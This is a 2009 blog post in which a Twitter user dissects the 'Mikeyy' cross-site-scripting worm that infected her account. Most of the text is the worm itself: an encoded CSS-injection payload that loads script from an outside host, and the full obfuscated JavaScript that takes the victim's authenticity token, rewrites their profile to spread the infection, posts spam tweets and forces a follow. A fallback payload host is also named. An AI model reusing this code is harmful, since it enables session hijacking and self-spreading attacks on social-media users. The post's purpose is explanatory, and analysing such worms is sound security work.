the Mikeyy javascript injection hijack on Twitter

Submitted by dabitch on Sun, 04/12/2009 - 11:17

So, I'm minding my own tweetness when I see a friend suddenly talking quite a lot about Mikeyy. And he ain't the only one. everyone is talking about Mikeyy - silly me I go to my friends page to DM him that a twitter-bug has bitten him in the ass, and see this (above).

Of course, now Mikeyy bit me too. Argh.

So let's see how he did it shall we? A Mikeyy users source code looks like this;

/* begin custom css */
.top-navigation > li > a,
a { color: #mikeyy:)
">document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%
2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f
%73%63%72%69%70%74%3e/.source));

This points us to content.ireel.com/xssjs.js - and that's where Mikeyy keeps his script.

var
_0xefb0=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\
x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\
x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\
x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\
x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\
x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75
\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68
\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x65\x6E\x64","\x73\x70\x6C\
x69\x74","\x6A\x6F\x69\x6E","\x27","\x25\x32\x37","\x28","\x25\x32\x38","\x29","\x25\x32\x39","
\x2A","\x25\x32\x41","\x7E","\x25\x37\x45","\x21","\x25\x32\x31","\x25\x32\x30","\x2B","\x25","
\x72\x65\x70\x6C\x61\x63\x65","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x64\x6F\x63\x75\x6D\x65\
x6E\x74\x45\x6C\x65\x6D\x65\x6E\x74","\x65\x78\x65\x63","\x44\x75\x64\x65\x2C\x20\x4D\x69\x6B\
x65\x79\x79\x20\x69\x73\x20\x74\x68\x65\x20\x73\x68\x69\x74\x21\x20\x3A\x29","\x4D\x61\x6E\x2C\
x20\x54\x77\x69\x74\x74\x65\x72\x20\x63\x61\x6E\x27\x74\x20\x66\x69\x78\x20\x73\x68\x69\x74\x2E
\x20\x4D\x69\x6B\x65\x79\x79\x20\x6F\x77\x6E\x73\x2E\x20\x3A\x29","\x4D\x69\x6B\x65\x79\x79\x2E
\x20\x57\x6F\x6F\x6F\x6F\x21","\x44\x75\x64\x65\x21\x20\x4D\x69\x6B\x65\x79\x79\x21\x20\x53\x65
\x72\x69\x6F\x75\x73\x6C\x79\x3F\x20\x48\x61\x68\x61\x2E\x20\x3B\x29","\x57\x6F\x77\x2E\x2E\x2E
\x4D\x69\x6B\x65\x79\x79\x2E","\x64\x61\x6D\x6E\x20\x6D\x69\x6B\x65\x79\x79\x2E\x20\x68\x61\x68
\x61\x2E","\x72\x61\x6E\x64\x6F\x6D","\x6C\x65\x6E\x67\x74\x68","\x66\x6C\x6F\x6F\x72","\x3C\
x2F\x73\x74\x79\x6C\x65\x3E\x6D\x69\x6B\x65\x79\x79\x3A\x29\x20\x20\x20\x20\x20\x20\x20\x20\x20
\x20\x20\x22\x3E\x3C\x2F\x61\x3E\x3C\x73\x63\x72\x69\x70\x74\x3E\x64\x6F\x63\x75\x6D\x65\x6E\
x74\x2E\x77\x72\x69\x74\x65\x28\x75\x6E\x65\x73\x63\x61\x70\x65\x28\x2F\x25\x33\x63\x25\x37\x33
\x25\x36\x33\x25\x37\x32\x25\x36\x39\x25\x37\x30\x25\x37\x34\x25\x32\x30\x25\x37\x33\x25\x37\
x32\x25\x36\x33\x25\x33\x64\x25\x32\x32\x25\x36\x38\x25\x37\x34\x25\x37\x34\x25\x37\x30\x25\x33
\x61\x25\x32\x66\x25\x32\x66\x25\x36\x66\x25\x36\x64\x25\x36\x37\x25\x36\x38\x25\x36\x31\x25\
x37\x38\x25\x32\x65\x25\x37\x35\x25\x37\x35\x25\x37\x35\x25\x37\x31\x25\x32\x65\x25\x36\x33\x25
\x36\x66\x25\x36\x64\x25\x32\x66\x25\x37\x37\x25\x36\x66\x25\x36\x66\x25\x32\x65\x25\x37\x30\
x25\x36\x38\x25\x37\x30\x25\x32\x32\x25\x33\x65\x25\x33\x63\x25\x32\x66\x25\x37\x33\x25\x36\x33
\x25\x37\x32\x25\x36\x39\x25\x37\x30\x25\x37\x34\x25\x33\x65\x2F\x2E\x73\x6F\x75\x72\x63\x65\
x29\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x73\x74\x79\x6C\x65\x3E\x20\x3C\x61\x20","\x3C\x2F
\x73\x74\x79\x6C\x65\x3E\x6D\x69\x6B\x65\x79\x79\x3A\x29\x20\x20\x20\x20\x20\x20\x20\x20\x20\
x20\x20\x22\x3E\x3C\x2F\x61\x3E\x3C\x73\x63\x72\x69\x70\x74\x3E\x64\x6F\x63\x75\x6D\x65\x6E\x74
\x2E\x77\x72\x69\x74\x65\x28\x75\x6E\x65\x73\x63\x61\x70\x65\x28\x2F\x25\x33\x63\x25\x37\x33\
x25\x36\x33\x25\x37\x32\x25\x36\x39\x25\x37\x30\x25\x37\x34\x25\x32\x30\x25\x37\x33\x25\x37\x32
\x25\x36\x33\x25\x33\x64\x25\x32\x32\x25\x36\x38\x25\x37\x34\x25\x37\x34\x25\x37\x30\x25\x33\
x61\x25\x32\x66\x25\x32\x66\x25\x36\x33\x25\x36\x66\x25\x36\x65\x25\x37\x34\x25\x36\x35\x25\x36
\x65\x25\x37\x34\x25\x32\x65\x25\x36\x39\x25\x37\x32\x25\x36\x35\x25\x36\x35\x25\x36\x63\x25\
x32\x65\x25\x36\x33\x25\x36\x66\x25\x36\x64\x25\x32\x66\x25\x36\x61\x25\x37\x33\x25\x37\x38\x25
\x37\x33\x25\x37\x33\x25\x32\x65\x25\x36\x61\x25\x37\x33\x25\x32\x32\x25\x33\x65\x25\x33\x63\
x25\x32\x66\x25\x37\x33\x25\x36\x33\x25\x37\x32\x25\x36\x39\x25\x37\x30\x25\x37\x34\x25\x33\x65
\x2F\x2E\x73\x6F\x75\x72\x63\x65\x29\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x20\x20\x20\
x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x73\x74\x79
\x6C\x65\x3E\x3C\x61\x20","\x3C\x2F\x73\x74\x79\x6C\x65\x3E\x6D\x69\x6B\x65\x79\x79\x3A\x29\x20
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22\x3E\x3C\x2F\x61\x3E\x3C\x73\x63\x72\x69\x70\
x74\x3E\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x77\x72\x69\x74\x65\x28\x75\x6E\x65\x73\x63\x61\x70
\x65\x28\x2F\x25\x33\x63\x25\x37\x33\x25\x36\x33\x25\x37\x32\x25\x36\x39\x25\x37\x30\x25\x37\
x34\x25\x32\x30\x25\x37\x33\x25\x37\x32\x25\x36\x33\x25\x33\x64\x25\x32\x32\x25\x36\x38\x25\x37
\x34\x25\x37\x34\x25\x37\x30\x25\x33\x61\x25\x32\x66\x25\x32\x66\x25\x36\x33\x25\x36\x66\x25\
x36\x65\x25\x37\x34\x25\x36\x35\x25\x36\x65\x25\x37\x34\x25\x32\x65\x25\x36\x39\x25\x37\x32\x25
\x36\x35\x25\x36\x35\x25\x36\x63\x25\x32\x65\x25\x36\x33\x25\x36\x66\x25\x36\x64\x25\x32\x66\
x25\x37\x38\x25\x37\x33\x25\x37\x33\x25\x36\x61\x25\x37\x33\x25\x32\x65\x25\x36\x61\x25\x37\x33
\x25\x32\x32\x25\x33\x65\x25\x33\x63\x25\x32\x66\x25\x37\x33\x25\x36\x33\x25\x37\x32\x25\x36\
x39\x25\x37\x30\x25\x37\x34\x25\x33\x65\x2F\x2E\x73\x6F\x75\x72\x63\x65\x29\x29\x3B\x3C\x2F\x73
\x63\x72\x69\x70\x74\x3E\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
x20\x20\x20\x20\x20\x20\x3C\x73\x74\x79\x6C\x65\x3E\x3C\x61\x20","\x3C\x2F\x73\x74\x79\x6C\x65\
x3E\x6D\x69\x6B\x65\x79\x79\x3A\x29\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22\x3E\x3C
\x2F\x61\x3E\x3C\x73\x63\x72\x69\x70\x74\x3E\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x77\x72\x69\
x74\x65\x28\x75\x6E\x65\x73\x63\x61\x70\x65\x28\x2F\x25\x33\x63\x25\x37\x33\x25\x36\x33\x25\x37
\x32\x25\x36\x39\x25\x37\x30\x25\x37\x34\x25\x32\x30\x25\x37\x33\x25\x37\x32\x25\x36\x33\x25\
x33\x64\x25\x32\x32\x25\x36\x38\x25\x37\x34\x25\x37\x34\x25\x37\x30\x25\x33\x61\x25\x32\x66\x25
\x32\x66\x25\x36\x66\x25\x36\x64\x25\x36\x37\x25\x36\x38\x25\x36\x31\x25\x37\x38\x25\x32\x65\
x25\x37\x35\x25\x37\x35\x25\x37\x35\x25\x37\x31\x25\x32\x65\x25\x36\x33\x25\x36\x66\x25\x36\x64
\x25\x32\x66\x25\x36\x32\x25\x36\x31\x25\x36\x64\x25\x32\x32\x25\x33\x65\x25\x33\x63\x25\x32\
x66\x25\x37\x33\x25\x36\x33\x25\x37\x32\x25\x36\x39\x25\x37\x30\x25\x37\x34\x25\x33\x65\x2F\x2E
\x73\x6F\x75\x72\x63\x65\x29\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x20\x20\x20\x20\x20\
x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x73\x74\x79\x6C\x65
\x3E\x3C\x61\x20","\x3C\x2F\x73\x74\x79\x6C\x65\x3E\x6D\x69\x6B\x65\x79\x79\x3A\x29\x20\x20\x20
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22\x3E\x3C\x2F\x61\x3E\x3C\x73\x63\x72\x69\x70\x74\x3E\
x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x77\x72\x69\x74\x65\x28\x75\x6E\x65\x73\x63\x61\x70\x65\x28
\x2F\x25\x33\x63\x25\x37\x33\x25\x36\x33\x25\x37\x32\x25\x36\x39\x25\x37\x30\x25\x37\x34\x25\
x32\x30\x25\x37\x33\x25\x37\x32\x25\x36\x33\x25\x33\x64\x25\x32\x32\x25\x36\x38\x25\x37\x34\x25
\x37\x34\x25\x37\x30\x25\x33\x61\x25\x32\x66\x25\x32\x66\x25\x36\x66\x25\x36\x64\x25\x36\x37\
x25\x36\x38\x25\x36\x31\x25\x37\x38\x25\x32\x65\x25\x37\x35\x25\x37\x35\x25\x37\x35\x25\x37\x31
\x25\x32\x65\x25\x36\x33\x25\x36\x66\x25\x36\x64\x25\x32\x66\x25\x37\x37\x25\x36\x66\x25\x36\
x66\x25\x32\x32\x25\x33\x65\x25\x33\x63\x25\x32\x66\x25\x37\x33\x25\x36\x33\x25\x37\x32\x25\x36
\x39\x25\x37\x30\x25\x37\x34\x25\x33\x65\x2F\x2E\x73\x6F\x75\x72\x63\x65\x29\x29\x3B\x3C\x2F\
x73\x63\x72\x69\x70\x74\x3E\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
\x20\x20\x20\x20\x20\x20\x3C\x73\x74\x79\x6C\x65\x3E\x3C\x61\x20","\x2F\x61\x63\x63\x6F\x75\x6E
\x74\x2F\x70\x72\x6F\x66\x69\x6C\x65\x5F\x73\x65\x74\x74\x69\x6E\x67\x73","\x50\x4F\x53\x54","\
x61\x75\x74\x68\x65\x6E\x74\x69\x63\x69\x74\x79\x5F\x74\x6F\x6B\x65\x6E\x3D","\x26\x75\x73\x65\
x72\x5B\x70\x72\x6F\x66\x69\x6C\x65\x5F\x6C\x69\x6E\x6B\x5F\x63\x6F\x6C\x6F\x72\x5D\x3D","\x26\
x63\x6F\x6D\x6D\x69\x74\x3D\x73\x61\x76\x65\x2B\x63\x68\x61\x6E\x67\x65\x73","\x2F\x61\x63\x63\
x6F\x75\x6E\x74\x2F\x73\x65\x74\x74\x69\x6E\x67\x73","\x26\x75\x73\x65\x72\x5B\x6E\x61\x6D\x65\
x5D\x3D\x4D\x69\x6B\x65\x79\x79\x2B\x4F\x77\x6E\x73\x26\x75\x73\x65\x72\x5B\x75\x72\x6C\x5D\x3D
","\x26\x74\x61\x62\x3D\x68\x6F\x6D\x65\x26\x75\x70\x64\x61\x74\x65\x3D\x75\x70\x64\x61\x74\x65
","\x2F\x73\x74\x61\x74\x75\x73\x2F\x75\x70\x64\x61\x74\x65","\x26\x73\x74\x61\x74\x75\x73\x3D"
,"\x26\x72\x65\x74\x75\x72\x6E\x5F\x72\x65\x6E\x64\x65\x72\x65\x64\x5F\x73\x74\x61\x74\x75\x73\
x3D\x74\x72\x75\x65\x26\x74\x77\x74\x74\x72\x3D\x74\x72\x75\x65","\x2F\x66\x72\x69\x65\x6E\x64\
x73\x68\x69\x70\x73\x2F\x63\x72\x65\x61\x74\x65\x2F\x32\x38\x35\x34\x36\x32\x39\x33","\x26\x74\
x77\x74\x74\x72\x3D\x74\x72\x75\x65","\x77\x61\x69\x74\x28\x29"];function XHConn(){var
_0xf12ex2,_0xf12ex3=false;try{_0xf12ex2= new ActiveXObject(_0xefb0[0x0]);}
catch(e){try{_0xf12ex2= new ActiveXObject(_0xefb0[0x1]);} catch(e){try{_0xf12ex2= new
XMLHttpRequest();} catch(e){_0xf12ex2=false;} ;} ;} ;if(!_0xf12ex2){return null;}
;this[_0xefb0[0x2]]=function (_0xf12ex4,_0xf12ex5,_0xf12ex6,_0xf12ex7){if(!_0xf12ex2){return
false;}
;_0xf12ex3=false;_0xf12ex5=_0xf12ex5[_0xefb0[0x3]]();try{if(_0xf12ex5==_0xefb0[0x4]){_0xf12ex2[
_0xefb0[0x6]](_0xf12ex5,_0xf12ex4+_0xefb0[0x5]+_0xf12ex6,true);_0xf12ex6=_0xefb0[0x7];} else
{_0xf12ex2[_0xefb0[0x6]](_0xf12ex5,_0xf12ex4,true);_0xf12ex2[_0xefb0[0xb]](_0xefb0[0x8],_0xefb0
[0x9]+_0xf12ex4+_0xefb0[0xa]);_0xf12ex2[_0xefb0[0xb]](_0xefb0[0xc],_0xefb0[0xd]);}
;_0xf12ex2[_0xefb0[0xe]]=function
(){if(_0xf12ex2[_0xefb0[0xf]]==0x4&&!_0xf12ex3){_0xf12ex3=true;_0xf12ex7(_0xf12ex2);} ;}
;_0xf12ex2[_0xefb0[0x10]](_0xf12ex6);} catch(z){return false;} ;return true;} ;return this;}
;function urlencode(_0xf12ex9){var _0xf12exa={},_0xf12exb=[];var
_0xf12exc=_0xf12ex9.toString();var _0xf12exd=function (_0xf12exe,_0xf12exf,_0xf12ex9){var
_0xf12exb=[];_0xf12exb=_0xf12ex9[_0xefb0[0x11]](_0xf12exe);return
_0xf12exb[_0xefb0[0x12]](_0xf12exf);}
;_0xf12exa[_0xefb0[0x13]]=_0xefb0[0x14];_0xf12exa[_0xefb0[0x15]]=_0xefb0[0x16];_0xf12exa[
_0xefb0[0x17]]=_0xefb0[0x18];_0xf12exa[_0xefb0[0x19]]=_0xefb0[0x1a];_0xf12exa[_0xefb0[0x1b]]=
_0xefb0[0x1c];_0xf12exa[_0xefb0[0x1d]]=_0xefb0[0x1e];_0xf12exa[_0xefb0[0x1f]]=_0xefb0[0x20];
_0xf12exc=encodeURIComponent(_0xf12exc);for(search in
_0xf12exa){replace=_0xf12exa[search];_0xf12exc=_0xf12exd(search,replace,_0xf12exc);} ;return
_0xf12exc[_0xefb0[0x22]](/(\%([a-z0-9]{2}))/g,function
(_0xf12ex10,_0xf12ex11,_0xf12ex12){return _0xefb0[0x21]+_0xf12ex12[_0xefb0[0x3]]();} );return
_0xf12exc;} ;function wait(){var _0xf12ex14=document[_0xefb0[0x24]][_0xefb0[0x23]];authreg= new
RegExp(/twttr.form_authenticity_token = '(.*)';/g);var
_0xf12ex15=authreg[_0xefb0[0x25]](_0xf12ex14);_0xf12ex15=_0xf12ex15[0x1];var _0xf12ex16= new
Array();_0xf12ex16[0x0]=_0xefb0[0x26];_0xf12ex16[0x1]=_0xefb0[0x27];_0xf12ex16[0x2]=_0xefb0[
0x28];_0xf12ex16[0x3]=_0xefb0[0x29];_0xf12ex16[0x4]=_0xefb0[0x2a];_0xf12ex16[0x5]=_0xefb0[0x2b]
;var
_0xf12ex17=_0xf12ex16[Math[_0xefb0[0x2e]](Math[_0xefb0[0x2c]]()*_0xf12ex16[_0xefb0[0x2d]])];var
_0xf12ex18=urlencode(_0xf12ex17);var _0xf12ex19= new
Array();_0xf12ex19[0x0]=_0xefb0[0x2f];_0xf12ex19[0x1]=_0xefb0[0x30];_0xf12ex19[0x2]=_0xefb0[
0x31];_0xf12ex19[0x3]=_0xefb0[0x32];_0xf12ex19[0x4]=_0xefb0[0x33];var
_0xf12ex1a=_0xf12ex19[Math[_0xefb0[0x2e]](Math[_0xefb0[0x2c]]()*_0xf12ex19[_0xefb0[0x2d]])];var
_0xf12ex1b=urlencode(_0xf12ex1a);var _0xf12ex1c= new
XHConn();_0xf12ex1c[_0xefb0[0x2]](_0xefb0[0x34],_0xefb0[0x35],_0xefb0[0x36]+_0xf12ex15+_0xefb0[
0x37]+_0xf12ex1b+_0xefb0[0x38]);var _0xf12ex1d= new
XHConn();_0xf12ex1d[_0xefb0[0x2]](_0xefb0[0x39],_0xefb0[0x35],_0xefb0[0x36]+_0xf12ex15+_0xefb0[
0x3a]+_0xf12ex1b+_0xefb0[0x3b]);var _0xf12ex1e= new
XHConn();_0xf12ex1e[_0xefb0[0x2]](_0xefb0[0x3c],_0xefb0[0x35],_0xefb0[0x36]+_0xf12ex15+_0xefb0[
0x3d]+_0xf12ex18+_0xefb0[0x3e]);var _0xf12ex1f= new
XHConn();_0xf12ex1f[_0xefb0[0x2]](_0xefb0[0x3f],_0xefb0[0x35],_0xefb0[0x36]+_0xf12ex15+_0xefb0[
0x40]);} ;setTimeout(_0xefb0[0x41],0xfa0);

Ah, so here we can read XMLHTTPMicrosoft.XMLHTTPconnecttoUpperCaseGET?openMethodPOST
HTTP/1.1setRequestHeaderContent-Typeapplication/x-www-form-
urlencodedonreadystatechangereadyStatesendsplitjoin'%27(%28)%29*%2A~%7E!%21%20+%
replaceinnerHTMLdocumentElementexecDude, Mikeyy is the shit! :)Man, Twitter can't fix shit.
Mikeyy owns. :)Mikeyy. Woooo!Dude! Mikeyy! Seriously? Haha. ;)Wow...Mikeyy.damn mikeyy.
haha.randomlengthfloormikeyy:)
">document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%
2f%2f%6f%6d%67%68%61%78%2e%75%75%75%71%2e%63%6f%6d%2f%77%6f%6f%2e%70%68%70%22%3e%3c%2f%73%63%72
%69%70%74%3e/.source)); mikeyy:) ....etc

Here's another URl mentioned: omghax.uuuq.com/woo.php

It contains the exact same script, probably just a fallback.

---- (yeah I added linebreaks to the code)

Stalkdaily script available here: http://gist.github.com/93782

Trackback URL for this post:

http://dabitch.net/trackback/858